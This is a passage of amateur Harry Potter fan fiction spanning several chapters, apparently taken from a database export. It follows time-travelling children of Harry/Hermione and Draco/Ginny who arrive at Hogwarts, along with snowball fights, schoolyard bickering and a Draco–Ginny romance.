</p><p>She watched nervously as he continued brushing off the snow from his clothes and hair. "Are you okay?" she asked timidly. </p><p>"Great going Gin!" Natalie cheered. </p><p>"You\'re not helping!" hissed Ginny. </p><p>Meanwhile, Draco\'s silver-gray eyes narrowed as they fastened onto the redhead. "You are going to pay dearly for that little stunt of yours, Weasley." he said coldly. </p><p>"Look, I\'m really sorry, I didn\'t mean to-" </p><p>"Even so, nobody pelts me with snowballs and gets away with it!" growled Draco. </p><p>"I already said I was sorry. What else do you want me to do?!" </p><p>By this time, the two of them were standing so close to each other that Draco could see the light freckles on Ginny\'s nose. </p><p>"What do I want you to do?" drawled Draco, as he realized that things weren\'t going anywhere at this rate. Time for Plan B. "I want a kiss, Weasley." he said silkily. </p><p>Ginny just looked at him as though he had grown another head. "You\'re kidding." </p><p>"No, I don\'t believe I am." he edged closer. </p><p>She pressed her hands against his chest. "No, I will not. What is wrong with you today, Malfoy?" </p><p>"So that means I\'m not getting my kiss?" </p><p>"Go jump off a cliff." </p><p>"Well, if you want to be difficult..." Draco shrugged, but then in one quick movement, he wrapped his arms around her legs and tossed her over his shoulder. </p><p>"Malfoy! LET GO OF ME!" yelled Ginny, kicking and beating him on the back with her fists. </p><p>"Temper, temper, my dear Weasley." </p><p>"Malfoy!" Hermione shouted, running after him as he made his way to the castle. "What do you think you\'re doing?" </p><p>"Weasley here owes me a kiss," he drawled, "Now if you\'ll excuse us..." </p><p>Hermione opened her mouth to retort, but she was stopped by Natalie\'s hand on her arm. "Let them go." she said softly. </p><p>"But..." </p><p>"She\'s been avoiding him for quite a while now...and I think there are some things they need to sort out." </p><p>"Well," Hermione was doubtful, but then she recalled last night\'s conversation, "Alright." </p><p>"No! Don\'t leave me with him!!" howled Ginny. However, the blond ignored her protests as he gave the others a lazy salute before he disappeared into the entrance way. </p><p>*********************************** </p><p>"Ginny doesn\'t look too pleased," mused Luna. </p><p>"Of course! But she\'ll thank us for this later." Natalie gave the three of them an evil grin, "It\'s about time those two got together!" </p><p>Hermione raised an eyebrow at this statement. </p><p>"Don\'t look so skeptical Hermione! It\'s about time Ginny did something about those visions of hers." </p><p>It was Harry\'s turn to look surprised. "What visions?" </p><p>"Nothing!" said Natalie quickly before continuing, "But this way she can see once and for all if her you-know-whats with you-know-who is actually true or not!" </p><p>"I\'m pretty sure the you-know-what is true." Hermione crossed her arms. "It\'s the you-know-who I\'m concerned about, especially when her family finds about this." </p><p>Natalie waved it off carelessly, "We\'ll cross that bridge when we, uh, they get there." </p><p>Harry closed his eyes. "And I don\'t get a single word of what you\'re saying." </p><p>"It\'s alright, Harry." Luna patted his arm, "It\'s called girl-talk for a reason." </p><p>********************************** </p><p>"Hey, let\'s go back inside." suggested Hermione, "My hands are starting to get numb." </p><p>She was surprised when Harry took her hands in his. "Better?" </p><p>"And she saids she doesn\'t like him." muttered a voice behind them, which Hemione ignored. He was just being a friend. That was all. Then why was she suddenly feel so...happy? </p><p>Unknown to Hermione, Harry, Luna and Natalie, three pairs of eyes stared after them from under an invisibility cloak... </p><p>"And you think my parents are bad..." </p><p>"Hey, at least my dad\'s not carrying my mom over his shoulder like some sort of caveman!" </p><p>"So what do you think your parents are doing now?" added a new voice. </p><p>"Chances are they\'re making out," commented the second voice before he was elbowed sharply in the ribs by the person beside him. </p><p>"Ow! What was that for?!" </p><p>"I want to be born, but not five whole years earlier, lizard-brains!" </p><p>*********************************** </p><p>"Put me down, Malfoy!" </p><p>"You know, you would enjoy it more if you just stopped making everything so difficult." </p><p>"Enjoy what?! This?!" Ginny was furious. </p><p>"You\'ll see what I mean in a second," he drawled. </p><p>"And your face will be meeting my fist once I get down," she muttered darkly. </p><p>Finally, after what seemed like hours, Draco finally stopped in front of an empty classroom on the third floor. Walking in, he kicked the door shut behind him. Ginny\'s eyes widened as she heard the sound of a lock turning into place. </p><p>"Malfoy..." </p><p>Draco placed her down on her feet, but then his fingers rapidly closed around her wrists as she tried to punch him. </p><p>"What is your problem?" she hissed at him. To hell with her visions! There was no way in hell she was marrying this man. </p><p>He looked at her hungrily, "You don\'t know how long I\'ve been waiting for a chance to get you alone." he said silkily. </p><p>She was prevented from speaking as his lips closed in onto hers hungrily. </p><p>************************************ </p><p>Ginny didn\'t know how long they spent like that, but an involuntary noise of protest came out when Draco finally broke their kiss off. With one arm still tightly around her waist, he untangled his other arm from her hair and gently stroked her cheek with his long fingers. </p><p>However, she simply stared into his eyes, which, normally so cold and mocking, were now kind of glazed over with wonder and an emotion she couldn\'t decipher. </p><p>Seconds later, he lowered his head once more and she closed her eyes as she felt his lips on hers. Unlike the first time, this was a much more gentle kiss than before. </p><p>"I wonder if this is what it feels like to be kissed for real..." she thought to herself faintly, "Because if it is, I don\'t want him to stop..." </p><p>Seconds later though, Draco abruptly creased his exploration of her mouth and released his tight hold on her waist. His eyes met hers for a moment before he spun around sharply and stalked out of the room. </p><p>From behind him, Ginny just gazed at his retreating back, feeling very confused inside. </p><p>************************************** <br/>\n Out on the school grounds, a arm suddenly appeared in mid-air and jerked the cloak off. </p><p>"Thank you," gasped the girl, "I was practically suffocating in there." </p><p>"We definitely need to get a bigger cloak." remarked the black-haired boy. </p><p>"If somebody hadn\'t forgotten his..." said Nina, eyeing the blond. </p><p>"You try packing your supplies in five minutes while your house is overrun with Death Eaters if you\'re so smart!" said Shawn irritably. </p><p>"Excuses, excuses." </p><p>"Besides, let\'s not forget whose saintly dad got us into this mess in the first place," sneered the blond. </p><p>Nina\'s eyes narrowed, "Leave my dad out of this, Shawn. At least my grandfather wasn\'t a bloody head Death Eater." </p><p>Meanwhile, Benjamin rolled her eyes impatiently. He sighed as his eyes travelled from his sister to his best friend. When one of these arguments occurred, he had found out that it was best to stay neutral. </p><p>Absentmindedly, he bent down and started packing snow into a snowball. It seemed like only a few days ago when the only things he had to worry about were the Winter exams and thinking of which WWW products he had to restock. These were the drawbacks of having Harry Potter for a father - not that he minded though. </p><p>"-all your dad did was take down one little dark wizard, big deal." Shawn was saying. </p><p>"Yeah, but I seem to remember hearing that your dad almost fainted dead away from the shock when he first saw that little dark wizard." Nina shot back. </p><p>Shawn narrowed his eyes, "My dad can kick your dad\'s butt all the way across the English Chan-" </p><p>"Oh really," thought Benjamin idly. Making sure his snowballs were in position, he took out his wand and pointed at them, muttering a useful spell his father had taught him. </p><p>Shawn yelped as he was suddenly pelted with snowballs. </p><p>Nina took the opportunity of grabbing a handful of snow and shoving it down his collar. <br/>\n Brother and sister both laughed as Shawn gave off a string of colorful curses while trying to dry his clothes. </p><p>"That was uncalled for," snarled Shawn. </p><p>"That\'ll teach you to insult my dad." she replied with a satisfied smirk. </p><p>Shawn glared at her, "I\'ll wipe that smirk off your face, you little-" </p><p>"Little?!?! You\'re only a year older!" </p><p>"Well, it has been a long time since we\'ve had a snowball fight," mused Benjamin, packing a snowball. He gave an evil grin, "Well, Shawn?" </p><p>Shawn ducked as the snowball missed the top of his head by a few inches. "Give it your best shot, Potter." </p><p>************************************************* </p><p>Meanwhile, Draco was in the process of pacing around his room. He also felt an intense urge to ram his head against the wall for some reason he couldn\'t figure out, but after a moment of reflection, he decided that the wall-ramming option might ruin his good looks, not to mention causing potential brain damage, so that was ruled out. </p><p>Originally his plan for revenge had involved seducing....well, kind of, and ditching her once she got herself infatuated. However, that hadn\'t worked out exactly as planned. Who would\'ve thought that he would enjoy it so much as well? </p><p>And to add to the fun, her family just happened to be mortal enemies with the Malfoy clan (at least when Lucius was still there), the fact that she could barely stand the sight of him and conveniently, also had six brothers and Boy Wonder to beat him senseless if they ever found out that he was thinking that way about their precious baby sister. </p><p>At least his father was no longer here to give him his opinion on the matter. </p><p>****************************************** </p><p>On the other side of the castle, Harry, Hermione, Ron and Natalie were currently lounging around the warm fire in the Gryffindor common room. Hermione, as usual, had her head stuck in a book. She had her back against Harry, who was playing wizard chess against Natalie while Ron was pleading with Hermione to let him see her essay. </p><p>"Please, Mione?" he whined, "I only need another two inches." </p><p>Hermione looked at him over the top of her book, "Then you should have no problem, since it\'s only two inches." </p><p>"Hey, Ginny, long time no see." said Natalie conversationally, moving her knight away from Harry\'s queen. "So what happened?" </p><p>Ginny threw a warning glance at her, indicating that Ron was in the room. "He won." was all she said. </p><p>Natalie\'s eyes noted the bruise on Ginny\'s neck. "By a whole lot too, I\'d say." she thought to herself. "Ah...interesting, uh, mark you have there on your neck." </p><p>Ginny\'s hands immediately flew up to her neck. When did that happen? </p><p>She threw her head back as Draco\'s lips fastened onto her neck. Letting out a moan, she tightened her arms around his neck, her fingers weaving through his hair as his mouth travelled upwards, lavishing attention to her lips once more. </p><p>"Damn." was the only thought that came to mind as Ron turned his gaze towards her. </p><p>"Who is it?" he growled. </p><p>"What makes you think that\'s it somebody?" </p><p>"Honestly Ron, Ginny\'s old enough to take care of herself," said Hermione, "Calm down." </p><p>"Calm down?! Some perverted freak is after my sister and you\'re telling me to CALM DOWN?!?!" Ron was incredulous. </p><p>"Calm down, Ron. I ran myself into a wall, okay?" said Ginny irritably. </p><p>"That or it came into contact with a certain blond-" muttered Natalie. Ginny gave her a sharp nudge. </p><p>"Ow!" </p><p>"What was that?!" </p><p>"Checkmate." </p><p>Natalie\'s eyes widened, "WHAT?!" </p><p>"Checkmate." repeated Harry. </p><p>Natalie looked at the board before settling her gaze on Ron. "This is your fault." </p><p>"What do I have to do with it?" asked Ron indignantly. </p><p>"You must have been helping Harry! I know it!" she growled. </p><p>Ron held his hands in front of him, backing away as he tried to reason with her. </p><p>"There they go again," Harry whispered, rolling his eyes. Hermione hid a smile. </p><p>Ron ran behind the couch where Harry and Hermione sat. "Help me out here," he whispered. </p><p>"Don\'t do anything...rash," said Ginny, as she noted Natalie\'s flexing fingers. </p><p>"No, I was thinking of requesting Professor Snape to double his Potions homework." said Natalie with an evil smile. "Or maybe a detention or two..." </p><p>Ron groaned. "Just beat me up. It\'s more merciful that way '),
	(204, 3, 'Off-Limits by Blue Lady <p>Here\'s Chapter 3 of my revised vision. Well....there hasn\'t been any drastic changes, but if anyone wants to read it again, that\'s fine with me! =) Hmm....maybe I should just throw in some Draco/Hermione for good measure..no, wait, that\'s for another story. Nevermind! </p><p>Chapter 3: The Mysterious Trio </p><p>Hermione had been in the middle of raising her spoon to her mouth when the letter came. Raising an eyebrow as she noticed a familiar scrawl on the paper, she looked over at Harry to see that he had received one as well. </p><p>"So what does it say?" Ginny swallowed the piece of toast she was munching on and regarding the envelope the other girl now held in her hand with a curious glance. </p><p>Hermione, <br/>\n Would you please drop by my office after breakfast. There is a little arrangement I wish to discuss with you and a few other students. You will be excused from all your subjects today. The password is Strawberry Drop. <br/>\n Professor Dumbledore <br/> </p><p>"Some people have all the luck." From his seat beside Harry, Ron sighed, "What I would do to be excused from a day\'s worth of classes..." </p><p>"What can possibly be so important though?" Hermione wondered out loud. "I mean, I\'m going to be missing Charms, Astronomy-" </p><p>"Not to mention that test in Divination." Ron grinned at Harry, "Think I used the being-transfigured-into-a-pet-parrot outcome yet?" </p><p>"Don\'t think so. But the best thing is, I\'ll get to miss this." and he proceeded to imitate Trelawney\'s voice: "Oh my poor boy. The signs are not good. ("As if they ever are," interjected Ron.) I see that you are in great danger of getting mortally injured by yet another walking tree." </p><p>Ron snickered while Ginny gave an uncharacteristic snort. </p><p>Meanwhile, Hermione just rolled her eyes, "I wasn\'t aware that trees walked." </p><p>"Dudley\'s new video game." explained Harry. "He chucked it into the fireplace when his character got killed by a moving tree." </p><p>"What a waste of money." </p><p>******************************************* </p><p>BAM! </p><p>Draco Malfoy swore as the hex came hurling back towards him, almost singeing the tips of his hair in the process. His hands quickly flew to the top of his head as he let off another string of curses. </p><p>"Tsk, tsk, such language." came a voice from behind him. </p><p>The blond rolled his eyes. This day couldn\'t possibly get any worse.... </p><p>Harry snapped his fingers directly in front of Draco\'s eyes. "Malfoy." </p><p>"What, Potter?" he snarled, shoving Harry\'s hand away from his face. </p><p>Harry just gave him grin that made the blond want to punch him - and soon. "Did you get a letter too?" </p><p>"Yeah, but what does that have to do with anything-" </p><p>"I guess you\'re illiterate then." cut in Hermione, "He gave you the password for a reason and I have a feeling that one of the reasons is to prevent you from blasting his door apart." </p><p>"There was a password in there?" </p><p>"You don\'t read your letters, do you?" Harry raised an eyebrow. </p><p>"I was reading it before Ms. Parkinson kindly plopped herself down into my lap and my letter fell into Goyle\'s cereal!" Draco snarled, whirling around to face him. </p><p>His glare intensified as he noticed the tips of Harry\'s mouth twitching. "Don\'t you dare laugh Potter." </p><p>"You want to try hexing me with that spell that almost singed your hair off?" suggested Harry, as his lips curved into smirk. "I\'ve never seen that one before, I must say." </p><p>Draco\'s eyes shot daggers at him. "It\'s a spell used to blast away huge obstacles." </p><p>"One of Lucius\'s illegal spells?" </p><p>"It\'s not entirely illegal, especially if it\'s being used for a good cause," he said evenly, looking pointedly at Harry. It didn\'t take a genius to figure out that the Boy Who Lived would soon find himself on the receiving end of one if he didn\'t stop asking questions. </p><p>"Are you two done yet?" demanded a voice from behind them. They turned to see Hermione tapping her right foot impatiently. "In case you haven\'t noticed, we\'re going to be late. I\'m sure the two of you can argue later." </p><p>A sneer appeared on Draco\'s face, "Not bloody likely. I wouldn\'t want to talk to him for any longer than is needed." </p><p>"That hurt Malfoy." </p><p>"Good for you." </p><p>Hermione just sighed before she took out her wand and pointed it at the immobile gargoyle. "Strawberry drop." </p><p>"Now children," A evil smile appeared on her face as she turned to face them, "Let\'s all try to get along now, shall we? Because I\'m starting to lose my patience!" </p><p>Harry gulped visibly at the look on her face before she turned around and stormed up the stairs. </p><p>Hermione rolled her eyes as she made her way up the spiral stone staircase. "Men." she thought, "Can\'t live with them, can\'t live without them...although I\'m seriously reconsidering that last part." </p><p>Harry and Draco followed behind her silently until they reached the polished oak door with the brass door-knocker. </p><p>The brown-haired prefect gave them another warning glare before she pushed open the door. As they made their way in, they were surprised to see that they had company. Also seated were two boys and a girl, one of which bore a striking resemblance to Harry. </p><p>********************************* </p><p>Shawn, Benjamin and Nina had arrived at Dumbledore\'s office about half an hour earlier. <br/>\n Now as they sat waiting, Nina felt slightly nervous at the prospect of meeting her parent\'s younger selves. </p><p>"Nervous had to be an understatement." thought Nina. She was a seething wreck! What the heck was she suppose to do? Go up to Harry and Hermione and say something along the lines of "Hey, you don\'t know me, but I\'m your daughter and I\'ve come to make sure Lord Voldemort stays dead in this lifetime so he won\'t be around to murder all of us in about 15 years time. By the way, you have to marry Hermione here or else I\'m gonna be majorly pissed when Ben and I don\'t get born." Yup, that was going to go over real well. </p><p>Nina placed her head in her hands and groaned inwardly. She could feel a migraine coming on. Beside her, her brother put a comforting arm around her. To his left, Shawn just sat there, brooding silently. </p><p>They had been told to keep their identities to themselves for the mean time, but Dumbledore had decided that they would be safer staying with their parents. That way, they could look out for each other. </p><p>Personally, Benjamin had a sneaky feeling that one of the reasons was that they could stop his father from getting into another life-threatening situation, which coincidently, only seemed to happen every single year. </p><p>Shawn however, had voiced the opinion that it would take all three of them to drag Uncle Ron away from Draco whenever Ron felt the urge to rearrange the older Malfoy\'s face, which was quite often. </p><p>Meanwhile, Professor Dumbledore sat calmly behind his desk, rearranging some papers. The three of them jumped as they heard a loud BAM! coming from the direction of the staircase. </p><p>"That must be Mr. Malfoy," smiled Dumbledore, "Right on time as usual." </p><p>"I thought so." muttered Shawn under his breath. </p><p>**************************************** </p><p>Hermione\'s eyes widened in surprise as she took in the other three occupants in the room. </p><p>If she hadn\'t known better, she would\'ve sworn that one of them almost looked enough like Harry to pass for his brother! The only thing missing was Harry\'s trademark lightning bolt scar. </p><p>Was this what Dumbledore had wanted to tell them? That Harry had a brother? But he wouldn\'t have sent for her and Draco then.... </p><p>She was broken out of her thoughts by the Headmaster\'s voice. "I\'m sure you may have been wondering why I have called you three up here." </p><p>She nodded as she snuck a quick look at Harry to see if he had noticed the resemblance as well. </p><p>Dumbledore continued, "Being some of Hogwarts\'s best students, I\'m giving you permission to miss today\'s classes to show our three new students around." </p><p>"Zachary, Joanna and Adam, I want to you to meet your guides for the day. This is Harry Potter, Hermione Granger and Draco Malfoy." </p><p>Ben and Nina exchanged a look. The two of them had been placed in Gryffindor, but Shawn had been placed in Slytherin to keep an eye on Draco, much to Shawn\'s annoyance - he never liked the Slytherin common room much, preferring the warm, comfortable Gryffindor common room instead. </p><p>"Since all three of you are prefects, I hope you won\'t mind having a roommate for the time being until we can arrange something for our new students," Dumbledore said apologetically to the three sixth years. </p><p>"No, that\'s fine." said Hermione. The other two nodded, although Draco was mentally calculating how much stuff he had to hide away. </p><p>"Now, off you go. I\'m sure the six of you would like to get better acquainted." said Dumbledore with a twinkle in his eye. </p><p>**************************************** </p><p>As the gargoyle sprang back into place behind them, Draco turned to Shawn. "I guess I might as well show you where the Slytherin common rooms are." </p><p>"Sure." Apparently Shawn wasn\'t planning on being very talkative today. The sullen look had been replaced temporarily with an impassive expression. </p><p>As they made their way downstairs, Harry turned to Hermione, Nina and Ben. "So where do you want to go first?" </p><p>"Can we go to the Quidditch field?" asked Ben earnestly. "It\'s been so long since I\'ve last played." </p><p>"Yeah, last time we did, we totally smashed Sly-" Nina stopped abruptly. "Nothing." she mumbled when Harry and Hermione glanced at her questioningly. </p><p>"Well, I guess we\'ll see you two at lunch then." and with a wave, Harry and Ben both disappeared around a corner. </p><p>Hermione turned to Nina, "Is there anywhere you want to go first?" </p><p>Nina smiled at her, "Can you show me where the library is? I want to catch up on some reading and Hogswarts, A History said that this school has a huge library." </p><p>However, what she really had in mind was getting her hands on some books on curses and hexes. Never knew when that might come in handy. </p><p>Hermione blinked. "You sure?" she finally said, a few seconds later. \'I never thought I would find anyone who liked the library as much as I did.\' she thought in amazement. </p><p>"Positive!" Nina grinned at the look on her mother\'s face. </p><p>As they walked along, Hermione attempted to start up a conversation, "So, what school are you from?" </p><p>Nina paused for a second, "The Salem Academy of Magic. It\'s a private school in the United States." she added quickly after she noticed Hermione\'s inquiring glance. "I\'m a 2nd year at my school, the guys are in 3rd year." </p><p>"Does that mean your parents decided to move to England?" </p><p>The younger girl suddenly bowed her head, "No." she said quietly, "My family came under attack by a powerful Dark Wizard and my parents decided that we would be safer in England." </p><p>Hermione\'s hands flew to her mouth. "I\'m so sorry." </p><p>"It\'s okay," said Nina softly. "It\'s nice to see you again, mommy." She thought to herself as she gave the older girl a small smile. </p><p>************************************** </p><p>Meanwhile, Draco and Shawn walked along silently. Shawn kept on glancing around. Hogwarts castle hadn\'t changed that much after all - give or take 15 years. </p><p>His nose wrinkled as they approached the Slytherin common room. He had never liked it down here, on the few occasions when he and Ben had come down to leave one of their surprises at his father\'s old House. The Slytherins were a rotten bunch, and even though Shawn was technically half a Slytherin himself, he could never bring himself to like them. </p><p>The House itself was synonymous for turning out dark wizards and from what Shawn had heard from his father, he wasn\'t too keen about staying there for the duration of his visit. </p><p>"The things I do for my parents..." he sighed inwardly to himself. "I must speak with Father about raising my allowance, by say, at least 300% when I get back for all this trouble I\'m being put through." </p><p>On the bright side, he would be given unlimited access to Slytherin House and that would always come in handy when he and Ben got back to their own time, provided that they ever got back... </p><p>*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~* </p><p>When they finally arrived at the Quidditch fields, Ben almost rammed into Harry as the older boy suddenly stopped. </p><p>"Damn, I\'m an idiot." muttered Harry, "You take people to the Quidditch field, but you forget to bring a broom?!" </p><p>"Is anything wrong?" asked Ben cautiously. </p><p>Harry smiled at him sheepishly, "I forgot that I left my broomstick in my room." </p><p>"That\'s not a problem." said Ben, taking out his wand from a side pocket. "Accio Firebolt!" </p><p>Seconds later, Harry\'s firebolt came zooming towards them. Harry grabbed ahold of it and handed it to Ben. "You want to have a go on it?" </p><p>Ben brightened, "I can?" His expression was one of awe as he looked at Harry\'s Firebolt before he mounted it and flew off towards the goalposts at the other end. </p><p>However, Harry was perplexed as he watched Ben fly. Why did it seem that the kid could almost read what he was thinking? </p><p>************************************* </p><p>When the time came for lunch, Hermione and Nina were already chatting away like old friends. Nina, for one was surprised at how much more interesting her mom was when she was in her teens. Of course, this was before the Darkness that had descended once more upon the wizarding world about ten years after the defeat of Voldemort. </p><p>Spotting Ron and Luna at the far corner of the Gryffindor table, Hermione grabbed Nina\'s arm and led her towards the rest of her friends. </p><p>As they sat down, Ron gave Hermione a strange look. </p><p>"What?" asked Hermione, "Did one of you clowns dye my hair bright pink again?" she reached for a lock of hair. </p><p>"No," Ron still had a look of awe on his face, "You\'re not freaking out even though you just missed two classes! I can\'t believe it!" </p><p>The brown haired girl reached over and gave him a light smack on the head. "Very funny, Ronald." </p><p>"OW!" Her friend glared at her balefully as he rubbed his head. </p><p>"Anyways," Hermione ignored him, "This is Joanna. Professor Dumbledore wanted me to show her around the school since she\'s just arrived from America." </p><p>Just then, Ginny plopped down in the chair across from Ron. "Whew, what\'s with McGonagall and her pop tests? Teachers are suppose to give pop quizzes." she complained. "So what did Dumbledore want to see you for?" </p><p>"He wanted me to show Joanna around. She\'s new to Hogwarts." she turned to Nina, <br/>\n "Joanna, this is my friend Ginny." </p><p>"Hi," said Nina shyly. </p><p>Ginny\'s eyes widened slightly before she finally managed a weak Hi. <br/>\n "It can\'t be." she thought. </p><p>However, she soon received another shock when Ben walked over with Harry. "I must be seeing things." she told herself, "There is no way Harry\'s kids are sitting right in front of me. I am not going crazy, I am not..." </p><p>"Ginny, are you okay?" asked Hermione. The younger girl had been unusually quiet ever since she had first seen Joanna; then when Zachary had walked in, Ginny just froze. </p><p>"I\'m fine," said Ginny in a unnaturally high voice, "I really am," she added when she saw Hermione\'s look of disbelief. </p><p> ************************************ </p><p>As they finished lunch and headed towards the doors, Ben suddenly gestured to someone near the Slytherin table. </p><p>Shawn joined them a few seconds later outside at the bottom of the stairs. </p><p>"So what did you think of your lovely housemates?" said Benjamin casually. </p><p>The blond threw him a dirty look, "What do you think?" </p><p>"You sure he\'s not related to Malfoy?" Ron whispered to Hermione, "Because I swear those two are somehow related, attitude and all." </p><p>"I don\'t think so. His last name\'s Parker." Hermione whispered back. \'Although I must say that he does resemble Draco quite a bit.\' she mused inwardly. </p><p>Ginny overheard this and she finally looked up. When they first ran into Adam, she had assumed that it was Draco and she was trying to look everywhere but at him. However, since it wasn\'t Malfoy.... </p><p>Her eyes widened again as she realized just who it was she was staring at. It was Malfoy all right - there was no question about that - it just wasn\'t the Malfoy she had been expecting... </p><p>She gasped as Shawn\'s brown eyes finally met her own. </p><p>"Shawn?!" </p><p>********************************************* </p><p>To be continued... '),
	(204, 4, 'Off-Limits by Blue Lady <p>Summary: The three new exchange students at Hogswarts aren\'t all they seem to be. What secrets are they hiding and what do they have to do with Ginny\'s visions? </p><p>Genre: Romance/Mystery </p><p>Pairings: H/Hr, D/G </p><p>Disclaimer: I own the, hmm....pretty much nothing, except Shawn, Nina, Benjamin and the weird storyline. Rest belongs to J.K. Rowling and Warner Brothers, etc. </p><p>Author\'s Note: Many readers have told me that they have found the story confusing, but don\'t worry, things will clear up soon. Anyways, as many of you have realized, Benjamin, Nina are Harry and Hermione\'s children and Shawn is Draco and Ginny\'s son from the future. However, the gang has yet to figure out why they are here in the first place. Trust me, many things should clear up within the next few chapters. As for Natalie\'s "interest" in Ron - that was the point. I love keeping people in suspense. ^_^ So far Ron is with Lavender... well...I haven\'t read OotP yet since I\'m waiting for the price to go down some more before I buy it, but I could try and fit a Ron/Luna pairing into this story later on if anyone wants it (when I finally get around to reading OotP of course). <br/> </p><p>Chapter 4: Investigations </p><p>Ginny overheard this and she finally looked up. When they first ran into Adam, she had assumed that it was Draco and she was trying to look everywhere but at him. However, since it wasn\'t Malfoy.... </p><p>Her eyes widened again as she realized who she was staring at. It was Malfoy, but it certainly wasn\'t the Malfoy she had been expecting... </p><p>Shawn\'s blue eyes met her own as she gasped. </p><p>"Shawn." </p><p>**************************************** </p><p>Shawn blinked rapidly at his mother\'s revelation. "So much for keeping our identities a secret," he thought, groaning inwardly. </p><p>He could see Benjamin mouthing to him from behind Hermione, "Now what?" </p><p>Shawn shrugged and turned back to the rest of the group. </p><p>"Shawn?!" asked Ron, looking at the blond suspiciously, "Do you know him, Ginny?" </p><p>"Yes, enlighten us, Weasley." drawled a new voice from behind Shawn, who almost jumped two feet up into the air from shock. </p><p>"Great, just what we need - a Malfoy family reunion," Nina groaned inwardly as Draco joined them. </p><p>Ginny ignored them, keeping her eyes fastened on Shawn. Since Shawn was here, then the other two - her eyes travelled over to Ben and Nina - then those two had to be Benjamin and Nina Potter. </p><p>"Okay, I don\'t know what the three of you are doing here, but we\'re going to have a nice long talk when classes are over." she said, looking straight at Shawn. </p><p>"Only Shawn, right?" asked Ben hopefully. </p><p>"Oh no, you don\'t! You\'re in as big of a mess as I am." growled Shawn, glaring at his friend. </p><p>"We\'ll discuss that later." said Ginny curtly, breaking off the Shawn\'s reply, "First of all, am I the only one that knows that you\'re here?" </p><p>"Only Dumbledore does, and maybe some of the teachers, he didn\'t exactly say," said Nina, fidgeting slightly under Hermione\'s scrutinizing gaze. </p><p>"Why are you guys here though?" asked Ginny. </p><p>"You want us to tell you...here?" Shawn said incredulously. </p><p>"Oh right." said Ginny, as she noticed the large group clustered around. They didn\'t know about her visions and she didn\'t want to spend all day explaining just who the three new students were. After all, the Headmaster would have told them if he had wanted them to find out. "Tell you what," she said, looking at them, "I\'ll meet you in the library after classes end, okay?" </p><p>The three of them nodded. </p><p>Meanwhile, Hermione, Harry, Ron and Draco were still in the dark. </p><p>"Care to explain what\'s going on?" asked Draco in an irritated voice. There wasn\'t anything he hated more than being in the dark. </p><p>"Yeah, Gin, what was that all about?" Ron asked his sister. </p><p>"Nothing!" replied 4 voices. </p><p>Benjamin nudged his sister, "C\'mon, let\'s go before they start asking too many questions." and they hurried out after Ginny, Benjamin almost yanking Shawn off his feet on the way. </p><p>"Hey, watch it! You almost wrung my arm off, you-" </p><p>"We\'ll be right back," called Ben, "There\'s something I need to discuss with my associates." and the three of them all but fled to the front door leading to the school grounds. </p><p>Ginny just shook her head as she headed up the stairs, hiding a smile. </p><p>"Do you get the feeling they\'re hiding something from us?" asked Ron, glancing at where the four of them had been. </p><p>"Brilliant, Weasley, you just figured that out?" sneered Draco. </p><p>"Stuff a sock in it, Malfoy," growled Ron. </p><p>"Well, we aren\'t going to get to the bottom of this mystery any sooner by just standing here insulting each other." said Harry irritably, "Let\'s go after them." </p><p>"Yeah, I have to agree with you for once Potter. Let\'s get to the bottom of this fine mystery." drawled Draco as he and Hermione headed off after Harry. </p><center> </center><p></p><p>************************************* </p><p>"Okay, you guys, we need to think of something and fast." said Nina, pacing in front of Ben and Shawn. "What are we suppose to tell Harry, Hermione and Draco?" </p><p>"I don\'t know, maybe we could always tell them the truth," said Shawn sarcastically. "Hey, Draco, I don\'t think I\'m mentioned this, but you\'re my father. Oh my god, it sounds like something from that muggle movie...what was it called again?" </p><p>"Star Wars." </p><p>"Oh right..." </p><p>"So you want us to start calling you Luke now?" Nina asked sweetly. </p><p>"..........." </p><p>"Blonds." Nina muttered under her breath. </p><p>"Hey, I heard that!" replied Shawn indignantly. </p><p>"Hey," Ben cut in, "Let\'s focus on the issues at hand first." </p><p>"Yeah, find the nearest time turner and hop on back into the right time-" </p><p>"And what?! Get yourself killed?" growled Nina, stomping her foot, "Realistically now, Malfoy!" </p><p>"Why are you so worried anyway?" Shawn scowled at her, "I\'m the one who\'s ending up unborn here, not you." </p><p>"You two, cut it out for a second!" said Ben, glaring at them. "First of all, how did Ginny even know who we were?" </p><p>"I remember mom saying that she started having her visions sometime around fifth year," said Shawn, "If that has to do with anything." he added grumpily. </p><p>Nina rolled her eyes. </p><p>"But what does she want to know then?" asked Ben, frowning. </p><p>"What I want to know, genius. Why we\'re here in the first place." said Shawn in a sarcastic voice. </p><p>"We can\'t tell her that! We all know the consequences of messing with time!" said Nina. </p><p>"Who said we were going to tell her anything?" Shawn shot back. </p><p>Nina gave him an exasperated look, "We have to tell her something, besides, you can\'t even lie to her properly." </p><p>Shawn narrowed his eyes, "I\'m a Malfoy! Of course I can lie properly!" </p><p>"She\'s your mother, stupid." </p><p>"Now, now children," said Ben, his arms folded, "Let\'s all try to get along, shall we?" </p><p>"You-" said Nina, pointing at Shawn, "-tell him that." </p><p>"Note to self: find a few good hexes to throw at the both of you when I have time." muttered Ben, walking back towards the castle. </p><p>"Is that any way to treat your best friend?" complained Shawn. </p><p>Nina walked on Ben\'s other side, "Where are we going?" </p><p>"To find Professor Dumbledore." he replied, "But we\'ll have to avoid...some people for the time being. They\'ll be wanting answers." </p><p>"Can\'t you just use the map?" suggested Shawn, "Unless you happened forgot to bring that too." he added sarcastically. </p><p>Ben ignored the last sentence as he grabbed the Marauder\'s Map from the pocket of his cloak. Unrolling it, he glanced at it for a second before turning back to the others. </p><p>"Okay, they\'re on the second floor, near the Gryffindor common room entrance. If we go this way," he continued, tracing a route along the map with his finger, "We would be on the other side of the castle from our...parents." </p><p>"Then let\'s go!" said Nina as the three of them sprinted towards the castle. </p><center> </center><p></p><p>************************************* </p><p>Moments later, after almost running into Snape, they finally arrived at the stone gargoyle. </p><p>"Strawberry Drop," panted Ben and they ran up the stairs as the gargoyle leapt aside. </p><p>Shawn banged the griffon-shaped knocker, but hearing no reply, the three of them made their way in. </p><p>Since Dumbledore didn\'t seem to be there, the three of them simply collapsed in the chairs in front of his desk. As their breathing started to slow down, Shawn groaned, "I think we must have broken some bloody record for that sprint." </p><p>"Okay, why the heck are we here again?" asked Nina once her breathing had finally returned to normal. </p><p>Shawn rolled his eyes at her, "To get our parents off our backs, remember?" </p><p>Nina slammed her hands down, glaring at him. "What. Is. Your. Problem?!" she said slowly, emphasizing each word. </p><p>"I don\'t know what the heck you\'re talking about, Potter." he replied just as coldly. </p><p>"Will you stop being such an infuriating jerk already?!" Nina shouted at him. 